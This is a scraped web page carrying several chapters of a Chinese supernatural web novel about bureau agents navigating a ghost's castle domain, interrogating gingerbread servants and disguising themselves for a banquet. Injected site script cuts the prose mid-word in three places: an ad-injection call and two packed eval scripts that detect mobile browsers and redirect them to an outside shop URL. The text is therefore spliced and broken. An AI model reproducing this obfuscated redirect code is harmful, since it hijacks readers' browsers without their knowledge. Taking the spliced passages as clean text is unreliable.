周新宇接着,又望向另一个被捂住嘴巴五花大绑的姜饼人,意有所指:“而且你就算死了也没有用。我看你的同伴可很想活下去。他一定不会做跟你同样的傻事。” 姜饼人充满恨意的瞪向周新宇。 卢长卿晃了晃手里的姜饼人,逼近它,继续威胁:“怎么样?想清楚了没有?要是想要个痛快,我现在就能满足你。” 他越是靠近,姜饼人就越是感受到一股被灼烧的痛楚。它尖叫道:“我说我说我说!快放开我!” “早点识相不就好了,也不用受罪了。”卢长卿故意又停了一会儿,直到姜饼人一副快死掉的样子,才放下手里的姜饼人。 姜饼人瑟瑟发抖的蜷缩成一团:“我说……白马王子的弱点是钱!他非常需要钱,只要你给他足够多的钱,他就会在宴会上帮你作弊。” “这么简单?”卢长卿不相信。 姜饼人看着他:“一点点钱当然不能让白马王子低头,那是很多很多的钱!” “多少钱?” “八千八百根金条。” 卢长卿当即撸袖子:“你又不老实!”却被周新宇拦下来:“它这次没有撒谎。” 卢长卿望向他,气笑了:“我从哪里去弄来八千八百根金条?” 蓝玉听到这里,没忍住戳了戳前辈,她小声问道:“师父,这不是当时绑匪找周家勒索的金额吗?” 没想到卢长卿耳朵灵得很,前辈还没来得及反应,他先目光犀利的朝蓝玉看过来:“什么意思?” 蓝玉被吓了一跳。 卢长卿的目光及其凶恶,那双刻有生坤的金色双瞳像是能灼烧人一样,能感觉到目光落在脸上的温度。 蓝玉没忍住摸了摸自己的耳垂,她说:“副局不知道吗?局长跟我们讲过啊,这次任务的情报。周含蕴当时被人绑架,绑匪就向周家要求八千八百根金条作为赎金。” “白马王子……应该是周含蕴的大哥周纯君,看来周纯君一直想要用赎金赎回妹妹。所以才会……” 卢长卿打断他:“别所以了,周家最后到底出了赎金没有?” 蓝玉摇了摇头:“现实里,周家没有出赎金,周含蕴足足过了一周才被发现尸体。” 卢长卿当即就很大声的嗤笑一声。 他望向还有些唏嘘的蓝玉道:“实习生,听过一句话没有?” 不等蓝玉回答,他就道:“迟来的深情比草贱!” 他又扭头朝向姜饼人,这一次几乎是提着它的领子问道:“既然白马王子是个能被钱收买的废物点心,那么另外两个王子呢?” 姜饼人被他再次凑近吓得疯狂尖叫:“我说我说!你别过来了!玫瑰王子有一个巨大无比的玫瑰园!他有一枝玫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瑰,视为珍宝,只要你们偷了那朵玫瑰威胁他,他什么都愿意做!” “人鱼王子最怕水!你们只要在宴会开始前往他身上泼一杯水,他就会现出原形,你们拿他的原形威胁他,他什么都会答应的!” 卢长卿金色的眼睛冷漠的注视着手里的姜饼人:“说完了吗?” 姜饼人意识到什么,疯狂地挣扎起来:“不要杀我不要杀我!” 但是已经迟了,姜饼人最后只看到生坤两个字,占据了它所有的视野。它彻底化作一团无形的情绪能量,消散在副本中。 卢长卿面无表情的戴上墨镜,看向沉默的周新宇:“它有撒谎吗?” 周新宇望了他一眼,不知道该如何回答,沉默了一会儿,最终还是老实道:“我不知道。” 事实上,他知道的情报并不多,刚刚也是瞎猫碰上死耗子。 卢长卿扭过头,定定的看了他一眼,接着嗤笑道:“……我就知道。” 周新宇不由得有些复杂看了他一眼,不知道是刚刚那个大大咧咧没有架子的卢长卿是他,还是眼前这个冰冷暴力如同暴君一样的卢长卿才是他的本来面目。 “实习生——”卢长卿拖长调子:“过来我这边,把局长跟你们说的情报从头到尾跟我说一遍。” 蓝玉愣了愣,指了指自己。见到卢长卿点头以后,只能硬着头皮顶上前去:“好、好的。” 好在她当时有认真的做笔记,此时结结巴巴的当着众人的面,把局长讲述的内容对卢长卿这些没听过的人重新讲了一遍。 好不容易讲完以后,卢长卿也不发声,一个人低着头,也不知道在想什么。 蓝玉觉得现场的气氛有些过于压抑了,忍不住举手打破沉默:“那、那个……我能问个问题吗?” 卢长卿轻“呵”了一声,墨镜下滑,那双写有字的金色瞳孔认真看了她一眼:“……问。” “就是——”蓝玉就像没有感觉到压力一样,有点初生牛犊不怕虎的样子,问道:“我们既然知道了城堡的主人就是场域的鬼,为什么不直接对付她,而要绕这么大个圈子……去成为那个什么宴会明星呢?” 看众人都望着她,她有点不好意思的摸了摸耳垂:“我是说——我们的任务不是鬼吗?” “没人跟她讲过吗?”卢长卿目光巡视一圈,落在前辈身上:“乐文越,你带的新人,连这么基本的东西就不跟她讲,就敢带她进场域?” 都出场五章了,此时才终于有名字乐文越嘶了一声:“我没跟她说吗?我怎么记得我说了……”他也不敢跟卢长卿硬顶,拉着蓝玉走到一旁:“你知道场域是什么吗?” “虚界为了收回鬼,于是生成虚界裂隙,而从虚界裂隙中释放的能量在凡世形成的中间区域?”蓝玉倒是记得局长有说过。 “理论上是这个没错。但是你要记住,场域是属于鬼的,并不是属于虚界,原来是叫做鬼蜮,后来才改成场域。 是先有场域,才会引来虚界裂隙。而且它还有一个前提条件就是,鬼出现在了现实世界,与它对应的场域才会在现实世界出现。但它本身并不在现实世界,场域实际是跟虚界类似的东西,只是没有虚界那么大而已。” “这么说吧,我们现在都不在现实世界。 如果把虚界比作一个大圆,现实世界比作另一个大圆,那么场域就是连接两者中间的通道。我们现在就处在这个中间地带。 然后我们的任务是从这个中间地带进入到鬼所在的真实世界。然后在真实世界里,把鬼赶回通道内,断开凡世和虚界的联系,让鬼回到鬼所在的世界里。 这就是我们特事局要做的工作。” 蓝玉“哦”了一声:“所以……这跟我提的问题有什么关系?这不是不冲突吗?重点就是鬼啊。” 乐文越挠了挠头:“你怎么不明白呢?现在鬼压根不在场域里,场域里只有她身上的情绪能量,可以这么说,场域就相当于一个容具,专门是存放她的能量的地方。 这个场域目前一半在虚界里,另一半就在凡世,像我们,就是通过与凡世重合的这一半进入的场域。 而我们刚刚见到的那些姜饼人,都只是鬼用情绪能量制造的NPC,因为这里是她的世界,她想怎么做就可以怎么做。 之前跟你说过,鬼是情绪能量聚集而成的漩涡体,它们本能的会想要吞噬更多的情绪能量。就连它们的场域也是如此,为了获得更多的情绪能量,这些场域内会设置许多不同的关卡。 关卡难易不等,一旦有人进入里面,就会在各个关卡的引导下,不断地给鬼提供它所需要的情绪能量。 有的鬼会把自己的场域分成好几个层级——你打过游戏没有,就跟打副本有第一关,第二关这样——最后一关才是BOSS。” 蓝玉瞪大眼睛:“可是——”如果鬼直接设置完全通不过的关卡怎么办?那我们不是永远都见不到鬼? “是的。”乐文越苦笑道:“我们现在连鬼的真身都见不到,只能通过这些关卡,好在这些关卡本身就是鬼用来引导外来者的,不会完全不给人通过,等我们进入最后一关,也就是鬼所在的真实世界——这个时候,我们才能真正见到她,至于打不打得过那又是另外一回事了。” “当然天无绝人之路,在鬼设置的关卡之中,我们也能从其中搜集到许多有关鬼的线索,这些线索也会在最后,帮助我们攻略最终BOSS。” “你要是说游戏我就明白了,”蓝玉没想到自己平日里玩游戏的爱好还能帮助自己理解任务:“这就相当于下副本,主线任务是打BOSS,但是还要过前置剧情,还要打一些小怪,精英怪,最后才是打BOSS。” “是的。”乐文越点了点头:“所以就算城堡的主人代表鬼主人,它也并不是真的鬼,而只是鬼用情绪能量捏造的一个剪影。” “比如在关卡中需要它的时候,它会出来走一下过场。或者可能连过场都不走,直接就不存在。 就比如这个城堡里的NPC都知道它们有个主人,但你问它们谁见过这个主人吗? 它们不一定能答得上来。可能你都通过这一关了,这个主人都不会出现。” 蓝玉点了点头:“原来如此。” 12. 更衣室风波 目前三个王子的弱点都已经确定,现在摆在特事局众人面前的问题就是先从哪个王子开始下手。 “玫瑰吧。”这个问题倒不是很难,很快就有人道。 “我也觉得应该先从玫瑰开始。”其他人也说。 蓝玉刚开口叫“师父”,乐文越就提前打断她施法:“因为玫瑰王子的情报最详细,也是最容易拿到手的线索。玫瑰园是固定不变的地址,只要多找几个NPC,就能找到。” 蓝玉嘴还没闭上,她朝乐文越眨巴了下眼睛。 乐文越得意的一笑,想说我还不知道你。你一撅屁股,我就知道你要拉什么屎! 然后就听到蓝玉说:“师父,我是想问——我们就这么走吗?不选几件衣服带着吗?” 乐文越:“……” 蓝玉还在旁边强调:“师父,我们就算拿到王子的弱点,最后也是要参加宴会的啊,而参加宴会的前提就是必须要穿上他们给我们提供的礼服。 否则我们连参赛的资格都没有,怎么成为宴会明星?” 乐文越捂着耳朵:“知道了知道了,你烦不烦,我又没说不带!” 卢长卿把墨镜戴好,望着更衣室挂在衣架的裙子,眉头皱得死紧:“喂——贪离,这衣服是非穿不可吗?不能只让一个人穿上就行了吗?” 周新宇从被强带进场域起,就一直憋着的不爽。都在这个时候得以发泄,他似乎想要笑,又不敢表现得太明显,眼睛里的笑意一闪而过,脸上故意板着严肃的表情: “是的,每个人都必须穿。” 卢长卿牙疼,转着手腕做威胁状,表情狐疑:“你小子——不是故意在报复我吧?” 周新宇绷着一张脸,努力把想要扬起来的嘴角给压下去:“——这座城堡到处都是NPC,你走在外面,不出一分钟就会被它们给发现。 就算几个点心人不是你的对手,那一群点心人呢? 而且短时间内不能奈何你,城堡的防卫系统还会升级,引来白马王子的骑士兵团,我想你是不会愿意在那个时候跟白马王子打上交道的。” 卢长卿定定的看了周新宇一分钟。周新宇差点就要绷不住脸上的表情。 “你——”卢长卿对着周新宇故意拉长声音,眼神也更加怀疑。 周新宇眼神闪烁了一下,又接着补充道:“上一次堂兄他们就是踩了这个坑,大大咧咧的走出去,很快就被城堡里无处不在的点心人发现。 他们躲躲藏藏了一个小时,就在以为终于甩掉那群点心人的时候。白马王子的骑士兵团出动了,我好几个堂兄都被抓了。 有个朋友发现只要穿上更衣室里提供的衣服,那些点心人就不再追着我们。他就把这个情报分享给我们。于是堂兄就穿上衣服,试图骗过白马王子。 但是白马王子跟那群点心人不一样。他确实没有立刻把我堂兄抓起来,但他也没有放过我堂兄——” 穿着银色铠甲的骑士长,头盔下露出一双能看穿一切的深邃双眼。他望着眼前气喘吁吁,脸色紧张的男生,如同寒暄一般随意道:“王小姐,这么晚了,你不在休息室里待着等待宴会开始,这是要到哪里去啊?” 男生结结巴巴的道:“我、我去上洗手间……”他努力鼓起勇气:“我上洗手间,不行吗?” 骑士长的身高本来就很高,再加上那身看起来就很重的铠甲,整个人像一座无声且沉默的山峰,沉沉的压过来。 男生刚刚鼓起来的声势立刻像漏了气的气球一样迅速被放掉,他听到面前的高大骑士轻笑一声:“当然可以。 但是——王小姐,我看起来有那么好骗吗?” “又或者——我应该叫你某个不知道姓什么叫什么的无名先生?” 男生的脸立刻惨白,他不由得瑟瑟发抖起来:“你、你怎么会知道。”明明换上衣服以后,那群点心人都没有认出来,为什么眼前的这个人就能分辨出来呢? 而白马王子的回应让他察觉到自己似乎做了件蠢事。 只听白马王子语言冰冷的道:“因为1902年出生的王小姐根本不知道洗手间是什么。只有外面来的人才会这么称呼。” 男生面红耳赤,他又怎么知道王小姐是几几年生的人。好在他终于想起自己穿着的这件衣服并不是普通的衣服,这似乎也给了他一点勇气。 他把手放在衣服上,一脸紧张的威胁:“……我管她怎么称呼,你敢冒犯我,我的衣服……” 可是衣服纹丝不动,之前紧紧扒在他身上的衣服竟然隐隐有要离开他的趋势。 他的脸色立刻苍白得没有一丝血色:“不、不……” 你不可以离开我!他手忙脚乱的试图阻止衣服的离开。 然而眼前骑士长的长枪已经扬了起来,那双狭长深邃的眼冰冷无情的落在他的身上,宣告他最终的命运—— “伪装客人的卑劣之徒!不管你混进城堡的意图是什么!我是绝不会允许你接近公主殿下!” 男生苍白又无助的脸凝结在脸上,他怔怔的望着穿过自己身体的长枪,有一丝疑惑,又有一丝茫然——为、为什么…… 为什么不听他解释,他根本都不知道谁是公主!为什么要杀了他啊!!! 再怎么不甘,再怎么怨愤。他也没有再张口的机会了。白马王子抽出长枪,男生顺势倒在地上,他的目光落在沾血的衣服上,嘴里说:“收拾一下。” 在他身后的士兵沉默的上前收拾残局。 而全程目睹这一幕的周新宇紧紧的捂住堂弟的嘴,堂弟的眼泪烫湿了他的手背。哪怕几年后,他仍旧觉得自己手上湿漉漉的,像是沾着他们的血。 这群胆大妄为,认为世界都围着自己转,自己是一切中心的少年,人生第一次跌跟头,就摔得如此惨烈。 他们终于明白了,原来他们并不是主角,原来他们也会死……但是学会的代价却过于残酷。 周新宇说完这件事时,特事局的众人却是脸色淡淡,对于周新宇来说是不忍提起的沉痛过往,对于特事局的众人来说,却是司空见惯的日常。 除了蓝玉这样第一次下场域的年轻人很唏嘘,乐文越都有些无聊的抓了抓手背,嘴里不咸不淡的嘟囔就这啊。 蓝玉本来还觉得他有些太说风凉话,但是对上乐文越那双漠然的双眼时,她的脑海里却是浮现出,她曾在他手腕上看到的“死坎”两字—— 前辈当时经历的惨烈,很可能是她想象不到的。 对她来说是不能接受的悲惨,对于前辈来说,可能真的就是一件很普通的事,他甚至连情绪都懒得调动。 他们见过太多普通,无辜的人被卷进场域里,然后悲惨死去。 而为了关闭场域,特事局每年牺牲的人数都高达数百,占整个特事局人数的一半还有得多。 这些牺牲的人甚至不能公开名字,只能成为那无数无名英雄的其中一部分。 像周新宇这群闲得没事干找刺激的富二代们,跑进场域里自己找死的行为,实在很难让他们共情。 但是周新宇的故事多少还是影响了特事局的众人,蓝玉能够感觉到之前那种轻松随意的气氛消失了,某些沉重的东西浮了上来。 也许这才是特事局众人的真实模样。 之前只不过是他们在人前的伪装而已。 就在这沉闷的气氛下,卢长卿却是哼笑一声,朝着周新宇玩味道:“贪离,你有没有发现,你话突然变多了?” 周新宇:“……”他立刻闭紧嘴巴,原本绷住的脸更加绷紧,手指无意识的抠着掌心。 卢长卿姿势优雅,像猫咪巡视自己的地盘一样,踱步到更衣室的沙发边上。 他两手伸长,身体向后靠,坐了下来,手和胳膊都搁在沙发的靠背上,大长腿上下交叠,翘起一个二郎腿的姿势,他的墨镜微微下滑,对向周新宇: “我不管你到底想要隐藏什么,但是只凭你一人,你认为你真的能达成你的目的吗? 贪离,你大概还不知道生欲觉醒者代表什么吧。 有个厉害的家伙曾对我说过,他认为生欲觉醒者才是这个世界上最难杀死的人,因为他们总能在绝境中闯出一条生路,越是逆风,反而越能爆发出强大的能量。 生欲觉醒者的生,是万物生的生,也是一线生机的生,更是芸芸众生的生。” 那双写有生坤二字的金色瞳孔,像是真的燃烧一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13823859|146358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,在灯光的映照下灿灿生辉。 卢长卿注视着因为他的话而陷入深思的周新宇:“好好想想吧。你们贪欲觉醒者总是逃不开贪这个字,也大多死在这个字上。 什么都想要,就注定什么都拿不到。” 更衣室里没人说话,大家都沉默着,也不知道在想什么。 蓝玉在心里反复回味那句话“生,是芸芸众生的生”。 她抚摸着自己的耳垂,原来那上面还没有字,是在那场连环车祸中生还以后。 她的耳垂上就多了这两个字。 她们几个大学室友还研究半天,有说是身体黑色素堆积,是正常的生理现象,至于为什么会变成两个字,则是巧合。还有说她要成为超人的——本来这个最离谱,没想到竟然是真的。 她也茫然——为什么是自己,为什么是生欲觉醒者? 她又有些惶恐,她没有觉得自己有什么特殊的,又或者她跟别人有什么不一样,她不知道呢? 原来是芸芸众生的生啊,她摸着自己的耳垂,就像是某块悬在半空的石头终于落了地。 “喂——你们都愣着干什么?”卢长卿似有些不理解。 “这小子虽然想看我丢丑,但确实没撒谎,你们不穿衣服,等着我给你们穿吗?” 原本凝滞的特事局在他的一句话下立刻动了起来,就连还没反应的周新宇,都有人给他也拿了一套衣服。 蓝玉挑了一件白色的吊带连衣裙,裙子腰间用轻纱系了个巨大的蝴蝶结,因为太大了,为了不让它垮塌,还保持那种立起来的蓬松质感,蝴蝶结是由无数层轻纱交叠而成,远远看起来像是一团蓬松的云朵。 说实话,她平常也就是T恤牛仔帆布鞋,哪怕穿裙子也是那种偏日常风,学院风,这套裙子对于她来说实在有点过于夸张了。 但是它已经是这里面最低调的一件,她几乎是手疾眼快,从同事的手里抢来了—— 那名特意蓄了胡子看不出真实年龄的男同事有些遗憾的把手落在旁边前面正常,后背却几乎完□□空的修身丝质绸缎晚礼服上。 等到卢长卿做足心理准备,从沙发上站起来的时候—— 他目光抽搐的看着盛装打扮的众人,有那么一刻,他似乎想要发表什么评价,却半天没有找到声音。 最后他长长的吐出一口气,半盖住眼睛:“你们……你们这审美真是令人发指!” “实习生!”听到副局饱含怒气的声音,蓝玉一个激灵,她还犹豫着要不要过去,卢长卿就不耐烦的催促:“过来,愣着干嘛?你来给他们重新挑合适的衣服。” “我真的看不下去了。”卢长卿嘴里嘟囔一句:“狗穿的都比你们像样。” 他把特事局的人丢给蓝玉以后,自己打开衣柜,也不知道是怎么找的,被他找到一件从头包裹到脚的黑色旗袍,又从配饰柜里找到镯子,项链,比对着镜子给自己戴上。 接着又在旁边的挂饰墙上抽出一条丝巾裹住自己的喉结。然后他又挑了件貂皮披肩,遮掩住自己身体的缺陷——比如宽阔的肩,粗壮的手臂。 等到蓝玉满头是包的应付完特事局的其他人,一回头看到副局,人都傻了。 她扭头抓住还在捋平自己身上衣服褶皱的乐文越,小小声的问:“师父,副局之前是做什么的啊?” 乐文越终于把那条褶皱给抚平,心满意足,听到这里,随口道:“他啊——偶像男团……” 不等蓝玉瞪大眼睛。 乐文越继道:“背后的舞伴。” “啊?” 乐文越挺胸收腹,掐着腰道:“就是舞台上那些明星表演的时候,后面不是有一群充当背景的舞伴吗?之前副局就是干这个的,你以为当明星容易啊……好多练习生可能一辈子都没有登上舞台的机会。副局那时候梦想是当舞C出道呢。” “我记得他刚进特事局的时候,还会一个人找个地方练舞,大概还想回舞台吧。后来参加了几次任务,就不练了。我还觉得怪可惜的,其实跳得挺好看的……” 卢长卿咬着牙,一字一顿:“乐!文!越!” 乐文越脖子一缩,朝蓝玉做了个抹脖子的鬼脸,不敢作声了。 13. 白马王子是大哥 特事局在挑换参加宴会的晚礼服的时候,周含蕴也在选一件合适的衣服。 鉴于上一次醒来,就连家都换了个形象。这一次再睁眼又换了个地方,周含蕴竟然都有点习惯了。 周含蕴虽然并不知道这个世界的自己又是什么身份,但是这并不妨碍她立刻就进入了自己的角色——这些长相奇形怪状的家伙就差点在她的面前跪下来。 谁是上位者,谁是下位者,几乎一目了然。 如果忽视他们奇怪的外表,那么这些家伙跟她熟悉的仆从没有任何区别。 面对管家小心翼翼的询问,周含蕴压根没有正面回答,反而反问道:“怎么?我不能来吗?” 她的语气是那么的理所当然,泡芙脸管家几乎当场就要给她磕一个:“不不不,殿下,您当然可以,这是您的城堡,城堡任何地方都期待您的莅临……” 城堡吗?周含蕴捕捉到这个关键词,什么样的人会拥有一座城堡呢? 她两手想要把那重得要死的裙子给拿起来。 这笨重的裙子束缚着她,让她不能自由。 周含蕴不由得想起之前身体不好,走路就喘的时候,一股怒火就控制不住涌上来: “知道就好!我做什么什么时候轮到你来挑三捡四?你是个什么东西?” 周含蕴语气刻薄极了,似乎一点都不担心触怒对方。 本来面对这群陌生怪异的家伙,她心里头多少还是有点发憷的。 但是看到他们那一副比她还要畏惧的样子。她立刻就学会顺杆往上爬。 以她多年与仆从相处的经验,她一眼就看出这个当管家的下人,有点不知道自己的位置。 这种人欺软怕硬惯了,就应该狠狠的压一下他的气焰。 对付这种人,只要你稍微表现得强势一点,他立刻就怂了。 像这种简单的御下小技巧,周含蕴运用得炉火纯青,她的目光牢牢锁定在管家脸上,并不意外它此时的恐惧。 她是想要收服这些人的,正准备打一棒子再给根胡萝卜的时候—— 原本鸦雀无声的环境传来一阵阵的抽气声。 周含蕴循声望去,就见那群刚刚还瑟瑟发抖的点心人——它们的眼睛在此时全都泛起了诡异的光。 它们像是忘记了害怕,一脸幸灾乐祸的望向难得吃瘪的管家。 一阵阵窃窃私语从他们所在的位置传来。 “他完了他完了!他死定了!” “让他整天难为我们!以为自己是个管家就了不起吗!” “撕碎他!主人快撕碎他!我迫不及待想要看到他碎成一地的画面!” 泡芙管家这会儿已经无法维持住他努力保持的仪态。 他抖得像个筛子,连一句话都说不出来。 周含蕴却并没有像那群点心人期待的那样对管家出手。 换任何一个人,面对这样诡异的情形,都会有种下不了台的感觉。 因为此时摆在他面前无非就两个选择,为了不露馅,要么朝管家出手,可是朝管家出手势必会暴露他的真实水平。 而不对管家出手,更会引来这群点心人的质疑—— 那群点心人一定会疑惑:“你为什么不动手?你为什么不杀了它?公主殿下什么时候脾气这么好了?” “你真的是公主殿下吗?” 但是周含蕴两条路都没选,只见她皱着眉头,一脸不耐烦的扭头望向那群点心人:“谁教你们的规矩,轮到你们说话了吗?” 对于周含蕴来说,这群仆从实在太没规矩了,她简直都要看不下去了。 但对这群生活在场域里的npc来说,它们哪里知道现实里的仆从是什么样子。 直接就被周含蕴不按常理来的操作给问懵了。 只见刚刚还一脸幸灾乐祸的点心人,脸上的笑容全都僵硬在了脸上。 他们呆呆的看着周含蕴,面对她嫌恶的眼神,只觉得好像确实是他们的错…… 怎么办?被公主殿下讨厌了,他们还能活吗? 但笑容不会消失,只会转移,他们脸上的笑容此时就转移到了管家脸上,他没忍住哈哈大笑:“你们这群贱人,还想要看我的笑话!” 周含蕴觉得这群看起来有些诡异的家伙,除了长得奇形怪状外,脑子也都不怎么好的样子。 她一脸稀奇的对管家说:“你得意什么?他们这么不懂事,不正说明你的管理能力不行吗?” 管家的大笑一下子就像是被掐住一样,失去了声音。 他好歹也是能在一众npc混成管家的人物,随机应变的基本能力还是有的。 只见他立刻诚惶诚恐的弯下腰,朝周含蕴求饶,并还夹带私货告状:“殿下,您不知道这群贱人多不听话!我实在是没有办法……” “没有办法是吧?”周含蕴说这句话的时候,脸上还带着笑,心想哪里都有这种蠢人。 她点了点头,像是真的要替管家出头似的。 管家脸上都露出讨好笑容了,然后就看见她这么平平淡淡的随手一指:“你,你……对,就是你。” 她手指的方向,是一个普普通通的姜饼人,它吓得不清,不等它求饶,就听到公主殿下说:“你来当管家。” 泡芙脸管家大惊失色:“殿下!?” 周含蕴轻蔑的看了他一眼:“你既然没有能力做好,自然有别的人能做,如果事事都要我去帮你解决,那我还为什么不自己去做,还要你做什么?” 被她指着的姜饼人没想到天降馅饼,喜得几乎要手舞足蹈:“公主殿下英明,公主殿下万岁!我绝对会好好做这个管家的!” 说完,它耀武扬威的朝着其他小伙伴们高高的昂起下巴,接着丝毫不客气的用力推开那群,刚刚还一脸同仇敌忾咒骂管家,现在却一脸嫉妒羡慕恨的望向他的点心人。 它就这么昂着下巴,一直走到泡芙脸管家的面前。 “一个下仆竟然敢穿管家的衣服!”姜饼人丝毫不掩饰自己怨毒的看向泡芙脸管家,并朝他伸出手去:“把它脱了给我,这不是你能穿的衣服!” “你!”泡芙脸管家愤怒得,本来就圆滚滚脸都要爆/炸了:“谁允许你这么对我说话……” “公主殿下已经指了我当管家,你已经不是管家了!”姜饼人一边大声嚷嚷,一边用力的撕扯着泡芙脸管家的衣服。 泡芙脸管家自然不从,两人扭打成一团。 周含蕴低头把玩自己手指上的美甲,无聊的打了个呵欠:“如果你连这点事都做不好,那我就再换一个人做管家。” 听到她的这句话,两个人厮打得更加剧烈了。 其他的点心人本来以为这事跟自己没关系,听到这句,两眼都冒光了。 看它们样子,巴不得姜饼人立刻去死,疯狂的叫着:“快捅它的肚子!它最怕别人捅它的肚子!” “用力!用力一点!哎呀!你不行就让我来吧!” 有人一脸扭曲兴奋对扭打中渐渐占据下风的姜饼人道。 一股兴奋狂热的情绪在点心人中蔓延,他们的眼睛里都渐渐冒起了红光。 眼看局势越来越乱的时候,白马王子带着他的骑士兵团大步从殿堂外闯进来。 “做什么!”他一声厉声压住所有人的声音,接着他胳膊拨开陷入疯狂中的众人,进入人群最中心处,然后手里的长枪一挑,也没见他是怎么做的,就把缠斗的两人分开了。 他的目光严厉的扫向众人:“你们在做什么!” 穿着银色铠甲的男人全副武装,除了一双眼睛,几乎全都被包裹住。 但是周含蕴对这张脸太熟悉了,哪怕只是一双眼睛就能立刻认出来。 “哥?”她惊讶的喊道。 原本还严肃威严的男人身子一颤,他猛地扭头,落在周含蕴身上的目光极其复杂,最终那些情绪都被他按压了下来。 他摘下盖住嘴巴的面罩,朝周含蕴屈膝下跪。沉重的铠甲落在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13823860|146358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面发出一声沉闷的声响:“公主殿下!” 周含蕴抬着笨重的裙摆,快步走下来:“哥!大哥!” “公主殿下!”白马王子抬起头:“请不要这么称呼臣……臣……”他话还没有说完,他的脸就被周含蕴双手捧起来。 周含蕴噗嗤一声笑了出声:“哥,你怎么这副打扮?” 白马王子目光怔怔,最后那张威严严肃的脸像是遇水般融化,向来冰冷无情的眼睛里竟是流露出一抹温柔的神色:“……你……不喜欢吗?” “哈哈哈哈……”周含蕴大笑了起来:“我知道,我这是在做梦对吗?我是公主,所以你就成了骑士?哈哈哈哈……” 白马王子扬起头,乖乖的任她把玩着自己的头盔,他的眼睛温柔如水:“是的,含蕴,你是在做梦。这一切都是你的梦……” “我就知道。”周含蕴说:“我说我怎么一点都不觉得累。我就只有在梦里才能这么自由。” 白马王子沉默了下来。他的眼睛里流露出一丝无法与人诉说的痛楚。但他最终把那股情绪按压了下去。 他轻柔的,像是在哄孩子一样轻言细语:“含蕴,你喜欢这个梦吗?” 周含蕴没有回答这个问题,她兴致勃勃的要拉白马王子起来:“那二哥是不是也在这里,你是骑士,他是什么?” 白马王子的目光不离周含蕴,他顺着周含蕴的力道站起身,他说:“纯芦啊……他现在是个打理花园的园丁。” “哈哈哈哈哈!”周含蕴再次哈哈大笑:“……他怎么在梦里都这么没出息!” 白马王子点头,一点没有觉得周含蕴的话不对:“是的,他一向都没什么出息。” “走走走。”周含蕴推着他:“我要去找二哥,好好嘲笑他一通。” 白马王子却是站住不动,他说:“含蕴,你穿这套行走不方便,要不要换一套方便的衣服?” 周含蕴看到大哥有点太兴奋了,这会儿才想起自己衣服实在是不合适。她就两手推着白马王子,要把他赶走:“知道了,你先出去,我马上就换好衣服!” 白马王子点了点头,当他转身时,原本温柔的脸瞬间变成一张比之前更冷酷更无情的表情。他的目光落在那群点心人身上,没人能忽视他眼睛中的杀意。 如果之前白马王子只是一个按照固有程序运作的NPC,只要你不触碰到他的红线,他是不会对你随意出手的。 那么现在白马王子显然不再是原来的那个,他变得更危险,也更疯狂,就像是一个守着宝藏的恶龙,要把所有的一切威胁都铲除殆尽。 “含蕴,”而这股杀意在扭头朝向周含蕴的时候瞬间消失,他一下又变成了那个温柔,靠谱的大哥:“半个小时够吗?” 周含蕴没好气的瞪了他一眼:“半个小时哪里够!你以为是你们男人换衣服啊,随便穿什么都无所谓的!? 至少要一个小时才行!” 她已经在那一排穿着各式衣服的木偶模特身边逛了起来,嘴里嘀咕着:“这个好看,但是没什么特点……恩,我得找件特别一点的,哼,二哥他眼光毒得很,我可不能让他小瞧。” 白马王子目光温柔的看着周含蕴足足有一会儿。 他略微不舍的转过身,身上那短暂的温柔也在这一转身中彻底消失。 “一个小时吗?……一个小时足够了……” 当他说完最后一个字的时候,一股嗜血的杀意已经从他眼里彻底爆发。 伴随着他雷厉风行的步伐,骑士兵团的其他人就像是他身体的一部分一样,沉默且无声的跟随在他的身后。 等到他们全部离开以后。 被白马王子吓得瑟瑟发抖的点心人,此时才终于感觉自己重新活了过来。 它们拍着胸脯,心有余悸:“吓死我了……” “喂——你们这群家伙又偷懒!”周含蕴不耐烦的声音传来:“快过来帮我试衣服!” “来了来了!”点心人立刻过去。 14. 狭路相逢 虽然公主的城堡只是这个场域其中的一个关卡,但是城堡的结构却极为完整。 它有主楼,有副楼,呈回字形,中间区域是大片的草坪和像迷宫一样的花园。 建筑总共有五层,其中的过道更是纵横交错,很容易就让人迷失其中。 特事局一行人换好衣服后,推开更衣室的房门,就看到一条纵向,不知通往何处去的走廊。 走廊每隔一段距离,都能够看到紧紧闭合的房门。也不知道里面是不是跟他们一样的更衣室。 走廊上的NPC不多,只有几个穿着仆从装的点心人在打扫卫生。 其中一个姜饼人正跪在桌子上擦着壁灯,它的神情认真极了。 特事局的一行人都快从它的身边走过,它都像是没有察觉一样。 有个穿着女仆装的草莓布丁人,正拿着拖把拖地,它在特事局众人走到附近的时候,把头抬了起来。 此时特事局的人都绷着脸,因为不确定他们是不是真的不会被NPC察觉,见它望向他们,有好几个胳膊上的肌肉都绷紧了,只等它尖叫,就对它出手。 结果这个布丁女仆只是把拖把放在一边,朝着特事局一行人鞠躬行礼:“小姐们好。” 卢长卿看了它一眼,没有回应,他步伐不停,像是完全把它当做空气一样,就这么走了过去。 特事局的其他人见状连忙跟上,一直到他们都走到很远了。 蓝玉回过头,才看见那个鞠躬的女仆重新把头抬起来继续拖地。 确定换上更衣室的衣服真的有效果。 